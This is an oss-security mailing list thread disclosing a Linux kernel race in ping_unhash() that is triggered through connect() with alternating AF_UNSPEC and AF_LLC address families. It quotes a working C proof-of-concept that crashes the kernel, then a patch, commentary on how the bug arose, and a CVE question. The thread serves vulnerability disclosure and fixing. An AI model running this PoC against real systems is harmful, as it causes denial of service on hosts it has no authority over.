Re: [oss-security] Linux kernel ping socket / AF_LLC connect() sin_family race

Re: [oss-security] Linux kernel ping socket / AF_LLC connect() sin_family race

[Andrey Konovalov]

On Fri, Mar 24, 2017 at 9:27 PM, Solar Designer <solar@openwall.com> wrote:
> Hi,
>
> I haven't fully investigated this issue, and the Subject is provisional
> (but will probably get stuck).  I am not yet sure which kernel
> subsystem(s) to blame here (ping sockets? LLC sockets? other/more?), and
> there might be other ways to trigger the issue.

Reproduced the crash on current upstream
(ebe64824e9de4b3ab3bd3928312b4b2bc57b4b7e).

Adding kernel maintainers.

>
> Just off Twitter:
>
> https://twitter.com/danieljiang0415/status/845116665184497664
>
> daniel_jiang
> @danieljiang0415
> google won't fix kernel crash bug, I release the poc now.
> https://github.com/danieljiang0415/android_kernel_crash_poc
>
> And the PoC is:
>
> ---
> #include <stdio.h>
> #include <sys/socket.h>
> #include <arpa/inet.h>
> #include <stdlib.h>
> static int sockfd = 0;
> static struct sockaddr_in addr = {0};
>
> void fuzz(void * param){
>     while(1){
>         addr.sin_family = 0;//rand()%42;
>         printf("sin_family1 = %08lx\n", addr.sin_family);
>         connect(sockfd, (struct sockaddr *)&addr, 16);
>     }
> }
> int main(int argc, char **argv)
> {
>     sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP);
>     int thrd;
>     pthread_create(&thrd, NULL, fuzz, NULL);
>     while(1){
>         addr.sin_family = 0x1a;//rand()%42;
>         addr.sin_port = 0;
>         addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
>         connect(sockfd, (struct sockaddr *)&addr, 16);
>         addr.sin_family = 0;
>     }
>     return 0;
> }
> ---
>
> I suppose the focus on Android is because it makes ping sockets
> available to users by default, but the bug isn't Android-specific.
>
> By granting ping sockets to a user, I am able to crash a RHEL7'ish
> system with the above PoC quickly.  The crash (at least in my two tests)
> is a NULL pointer dereference in net/ipv4/ping.c: ping_v4_unhash().
> In newer upstream code, e.g. Linux 4.10.5, the function is renamed to
> ping_unhash() since it's shared with IPv6, but is otherwise similar.
>
> The two address families used by the PoC above are AF_UNSPEC and AF_LLC.
> For the latter, net/llc/af_llc.c: llc_ui_connect() checks for AF_LLC and
> then proceeds to overwrite parts of the "struct sockaddr".
> llc_ui_bind() looks similar, so the issue might also be triggerable via
> bind().  These overwrites might be directly related to the crash, or it
> might be something further.  At first glance, these two functions look
> similar in RHEL7 and 4.10.5, so, if relevant, can probably be used to
> trigger the issue on latest upstream as well.
>
> At this point, I think I'll leave further investigation to someone more
> up-to-date on these interfaces and conventions.  I am merely conveying
> the message, which at this point I understand only partially.
>
> Alexander

Re: [oss-security] Linux kernel ping socket / AF_LLC connect() sin_family race

[Solar Designer]

On Fri, Mar 24, 2017 at 03:21:06PM -0700, Eric Dumazet wrote:
> Looks easy enough to fix ?

Oh.  Probably.  Thanks.  Need to test, but I guess you already did?

> diff --git a/net/ipv4/ping.c b/net/ipv4/ping.c
> index
> 2af6244b83e27ae384e96cf071c10c5a89674804..ccfbce13a6333a65dab64e4847dd510dfafb1b43
> 100644
> --- a/net/ipv4/ping.c
> +++ b/net/ipv4/ping.c
> @@ -156,17 +156,18 @@ int ping_hash(struct sock *sk)
>  void ping_unhash(struct sock *sk)
>  {
>         struct inet_sock *isk = inet_sk(sk);
> +
>         pr_debug("ping_unhash(isk=%p,isk->num=%u)\n", isk, isk->inet_num);
> +       write_lock_bh(&ping_table.lock);
>         if (sk_hashed(sk)) {
> -               write_lock_bh(&ping_table.lock);
>                 hlist_nulls_del(&sk->sk_nulls_node);
>                 sk_nulls_node_init(&sk->sk_nulls_node);
>                 sock_put(sk);
>                 isk->inet_num = 0;
>                 isk->inet_sport = 0;
>                 sock_prot_inuse_add(sock_net(sk), sk->sk_prot, -1);
> -               write_unlock_bh(&ping_table.lock);
>         }
> +       write_unlock_bh(&ping_table.lock);
>  }
>  EXPORT_SYMBOL_GPL(ping_unhash);

FWIW, in Pavel's original implementation for 2.4.32 (unused), this was:

static void ping_v4_unhash(struct sock *sk)
{
	DEBUG(("ping_v4_unhash(sk=%p,sk->num=%u)\n", sk, sk->num));
	write_lock_bh(&ping_hash_lock);
	if (sk->pprev) {
		if (sk->next)
		       sk->next->pprev = sk->pprev;
		*sk->pprev = sk->next;
		sk->pprev = NULL;
		sk->num = 0;
		sock_prot_dec_use(sk->prot);
		__sock_put(sk);
	}
	write_unlock_bh(&ping_hash_lock);
}

Looks like the erroneous optimization (not expecting concurrent activity
on the same socket?) was introduced during conversion to 2.6's hlists.

So far this cursed function had 3 bugs, two of them security (including
this one) and one probably benign (or if not, then effectively a subset
of this bug as it performed some unneeded / stale debugging work before
acquiring the lock), with all 3 introduced in forward-porting.  Maybe
the nature of forward-porting activity makes people relatively
inattentive ("compiles with the new interfaces and still works? must be
correct"), compared to when writing new code.

Anyhow, I share some responsibility for this mess, for having advocated
this patch being forward-ported and merged back then.  I still like
having this functionality and its userspace security benefits... but I
don't like the kernel bugs.

Alexander

Re: [oss-security] Linux kernel ping socket / AF_LLC connect() sin_family race

[Marcus Meissner]

Hi,

did anyone request a CVE yet?

Ciao, Marcus
On Sat, Mar 25, 2017 at 01:10:57AM +0100, Solar Designer wrote:
> On Fri, Mar 24, 2017 at 03:21:06PM -0700, Eric Dumazet wrote:
> > Looks easy enough to fix ?
> 
> Oh.  Probably.  Thanks.  Need to test, but I guess you already did?
> 
> > diff --git a/net/ipv4/ping.c b/net/ipv4/ping.c
> > index
> > 2af6244b83e27ae384e96cf071c10c5a89674804..ccfbce13a6333a65dab64e4847dd510dfafb1b43
> > 100644
> > --- a/net/ipv4/ping.c
> > +++ b/net/ipv4/ping.c
> > @@ -156,17 +156,18 @@ int ping_hash(struct sock *sk)
> >  void ping_unhash(struct sock *sk)
> >  {
> >         struct inet_sock *isk = inet_sk(sk);
> > +
> >         pr_debug("ping_unhash(isk=%p,isk->num=%u)\n", isk, isk->inet_num);
> > +       write_lock_bh(&ping_table.lock);
> >         if (sk_hashed(sk)) {
> > -               write_lock_bh(&ping_table.lock);
> >                 hlist_nulls_del(&sk->sk_nulls_node);
> >                 sk_nulls_node_init(&sk->sk_nulls_node);
> >                 sock_put(sk);
> >                 isk->inet_num = 0;
> >                 isk->inet_sport = 0;
> >                 sock_prot_inuse_add(sock_net(sk), sk->sk_prot, -1);
> > -               write_unlock_bh(&ping_table.lock);
> >         }
> > +       write_unlock_bh(&ping_table.lock);
> >  }
> >  EXPORT_SYMBOL_GPL(ping_unhash);
> 
> FWIW, in Pavel's original implementation for 2.4.32 (unused), this was:
> 
> static void ping_v4_unhash(struct sock *sk)
> {
> 	DEBUG(("ping_v4_unhash(sk=%p,sk->num=%u)\n", sk, sk->num));
> 	write_lock_bh(&ping_hash_lock);
> 	if (sk->pprev) {
> 		if (sk->next)
> 		       sk->next->pprev = sk->pprev;
> 		*sk->pprev = sk->next;
> 		sk->pprev = NULL;
> 		sk->num = 0;
> 		sock_prot_dec_use(sk->prot);
> 		__sock_put(sk);
> 	}
> 	write_unlock_bh(&ping_hash_lock);
> }
> 
> Looks like the erroneous optimization (not expecting concurrent activity
> on the same socket?) was introduced during conversion to 2.6's hlists.
> 
> So far this cursed function had 3 bugs, two of them security (including
> this one) and one probably benign (or if not, then effectively a subset
> of this bug as it performed some unneeded / stale debugging work before
> acquiring the lock), with all 3 introduced in forward-porting.  Maybe
> the nature of forward-porting activity makes people relatively
> inattentive ("compiles with the new interfaces and still works? must be
> correct"), compared to when writing new code.
> 
> Anyhow, I share some responsibility for this mess, for having advocated
> this patch being forward-ported and merged back then.  I still like
> having this functionality and its userspace security benefits... but I
> don't like the kernel bugs.
> 
> Alexander
> 

-- 
Marcus Meissner,SUSE LINUX GmbH; Maxfeldstrasse 5; D-90409 Nuernberg; Zi. 3.1-33,+49-911-740 53-432,,serv=loki,mail=wotan,type=real <meissner@suse.de>